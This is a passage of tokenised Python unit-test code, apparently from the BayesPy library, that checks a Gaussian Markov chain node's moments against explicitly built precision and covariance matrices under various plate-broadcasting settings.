"u1_", ",_", "u2_", ")_", "=_", "X_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "mu_", ",_", "mum", "u_", ")_", "=_", "Gaussian", "_", "._", "\\u", "ensure", "\\u", "moments_", "(_", "mu_", ",_", "Gaussian", "Moment", "s_", ",_", "ndim_", "=_", "1_", ")_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "Lambda_", ",_", "\\u_", ")_", "=_", "Wis", "hart", "_", "._", "\\u", "ensure", "\\u", "moments_", "(_", "Lambda_", ",_", "Wis", "hart", "Moment", "s_", ",_", "ndim_", "=_", "1_", ")_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "a_", ",_", "aa_", ")_", "=_", "Gaussian", "_", "._", "\\u", "ensure", "\\u", "moments_", "(_", "A_", ",_", "Gaussian", "Moment", "s_", ",_", "ndim_", "=_", "1_", ")_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "a_", "*_", "np_", "._", "ones_", "(_", "(_", "N_", "-_", "1_", ",_", "D_", ",_", "D_", ")_", ")_", "#", " ", "explicit", " ", "broadcast", "ing", " ", "for", " ", "simpli", "city_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aa_", "=_", "aa_", "*_", "np_", "._", "ones_", "(_", "(_", "N_", "-_", "1_", ",_", "D_", ",_", "D_", ",_", "D_", ")_", ")_", "#", " ", "explicit", " ", "broadcast", "ing", " ", "for", " ", "simpli", "city_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "v_", ",_", "\\u_", ")_", "=_", "Gamma", "_", "._", "\\u", "ensure", "\\u", "moments_", "(_", "V_", ",_", "Gamma", "Moment", "s_", ")_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "v_", "*_", "np_", "._", "ones_", "(_", "(_", "N_", "-_", "1_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plates", "\\u", "C_", "=_", "X_", "._", "plates", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "X_", "._", "plates", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "np_", "._", "shape_", "(_", "mu_", ")_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "mu_", "+_", "(_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "..._", ",_", "0_", ",_", ":_", "]_", "=_", "np_", "._", "einsum_", "(_", "'...", "ij", ",...", "j", "->", "...", "i", "'_", ",_", "Lambda_", ",_", "mu_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "[_", "..._", ",_", "0_", ",_", ":_", ",_", "0_", ",_", ":_", "]_", "=_", "Lambda_", "+_", "np_", "._", "einsum_", "(_", "'...", "dij", ",...", "d", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "aa_", "[_", "..._", ",_", "0_", ",_", ":_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "0_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "C_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "=_", "(_", "np_", "._", "einsum_", "(_", "'...", "dij", ",...", "d", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "aa_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "None_", "]_", "*_", "np_", "._", "identity_", "(_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "C_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", "+_", "1_", ",_", ":_", "]_", "=_", "-_", "np_", "._", "einsum_", "(_", "'...", "di", ",...", "d", "->", "...", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "[_", "..._", ",_", "n_", "+_", "1_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "=_", "-_", "np_", "._", "einsum_", "(_", "'...", "di", ",...", "d", "->", "...", "di", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "C_", "[_", "..._", ",_", "-_", "1_", ",_", ":_", ",_", "-_", "1_", ",_", ":_", "]_", "=_", "v_", "[_", "..._", ",_", "-_", "1_", ",_", ":_", ",_", "None_", "]_", "*_", "np_", "._", "identity_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "reshape_", "(_", "C_", ",_", "plates", "\\u", "C_", "+_", "(_", "N_", "*_", "D_", ",_", "N_", "*_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "linalg_", "._", "inv_", "(_", "C_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "reshape_", "(_", "Cov", "_", ",_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m0_", "=_", "np_", "._", "einsum_", "(_", "'...", "min", "j", ",...", "nj", "->", "...", "mi", "'_", ",_", "Cov", "_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m1_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m2_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", "-_", "1_", ",_", "D_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m1_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", "=_", "Cov", "_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "+_", "np_", "._", "einsum_", "(_", "'...", "i", ",...", "j", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m2_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", "=_", "Cov", "_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", "+_", "1_", ",_", ":_", "]_", "+_", "np_", "._", "einsum_", "(_", "'...", "i", ",...", "j", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", "+_", "1_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m0_", ",_", "u0", "_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m1_", ",_", "u1_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m2_", ",_", "u2_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check_", "(_", "4_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "mu_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "5_", ",_", "6_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "Lambda_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "A_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "on", " ", "time", " ", "axis_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "5_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "on", " ", "time", " ", "axis", " ", "with", " ", "broadcast", "ed", " ", "moments_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "5_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "5_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "v_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", 